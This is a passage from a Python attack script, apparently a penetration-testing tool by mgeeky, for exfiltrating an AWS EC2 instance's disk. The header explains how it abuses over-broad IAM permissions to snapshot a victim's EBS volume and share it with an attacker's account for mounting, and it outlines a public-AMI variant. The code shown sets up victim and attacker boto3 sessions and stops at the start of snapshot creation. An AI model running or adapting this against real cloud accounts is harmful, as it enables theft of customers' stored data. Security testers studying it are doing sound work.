#!/usr/bin/python3 # # This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's # filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. # # CreateSnapshot: # Abuses: # ec2:CreateSnapshot # ec2:ModifySnapshotAttribute # # The script will firstly create an EBS volume snapshot of the provided volume id. Then it will # modify that snapshot's attributes to make it available for the foreign AWS Account that's going to # be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot. # After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it # with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able # to mount freshly attached volume in the operating system to further examine its contents. # # This technique is safe to be demonstrated during AWS Penetration tests. # # # CreateImage: # Abuses: # ec2:CreateImage # # NOT IMPLEMENTED YET. # For this technique, the procedure is following - the script will create an image out of specified victim's EC2 # instance. This image will become publicly available (caution with client sensitive data!). After that, the script # will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that # publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to # further examine it's filesystem contents. # # WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is # not recommended to use it during legal AWS Penetration Tests # # Author: Mariusz B. / mgeeky, '19, # import sys import pyjq import json import time import boto3 import argparse from botocore.exceptions import ClientError config = { 'verbose' : False, 'region' : '', 'victim' : { 'profile' : '', 'access-key' : '', 'secret-key' : '', 'token' : '', }, 'attacker' : { 'profile' : '', 'access-key' : '', 'secret-key' : '', 'token' : '', }, 'method' : '', 'volume-id': '', 'instance-id': '', 'attach-instance-id': '', } class Logger: @staticmethod def _out(x): sys.stdout.write(x + '\n') @staticmethod def out(x): Logger._out('[>] ' + x) @staticmethod def info(x): if config['verbose']: Logger._out('[.] ' + x) @staticmethod def fatal(x): sys.stdout.write('[!] ' + x + '\n') sys.exit(1) @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) class ExfiltrateEC2: session = None def __init__(self, region, attacker_keys, victim_keys): self.region = region self.keys = { 'attacker' : {}, 'victim' : {}, } self.keys['attacker'] = attacker_keys self.keys['victim'] = victim_keys self.session = { 'attacker' : None, 'victim' : None, } Logger.info(f"Using region: {region}") Logger.info("Authenticating using Attacker's AWS credentials...") self.session['attacker'] = self.authenticate(region, attacker_keys) Logger.info("Authenticating using Victim's AWS credentials...") self.session['victim'] = self.authenticate(region, victim_keys) def authenticate(self, region, keys): session = None try: if keys['profile']: session = boto3.Session( profile_name = keys['profile'], region_name = region ) else: session = boto3.Session( aws_access_key_id = keys['access-key'], aws_secret_access_key = keys['secret-key'], aws_session_token = keys['token'], region_name = region ) except Exception as e: Logger.fail(f'Could not authenticate to AWS: {e}') raise e return session def get_session(self, whose): return self.session[whose] def get_account_id(self, whose): try: return self.session[whose].client('sts').get_caller_identity()['Account'] except Exception as e: Logger.fatal(f'Could not Get Caller\'s identity: {e}') def create_snapshot(self, attacker_instance_id, volume_id, availability_zone): victim_client = self.session['victim'].client('ec2') attacker_client = self.session['attacker'].client('ec2') target_user = self.get_account_id('attacker') snapshot = None volume_created = None modify_result = None Logger.out(f"Step 1: Creating EBS volume snapshot.
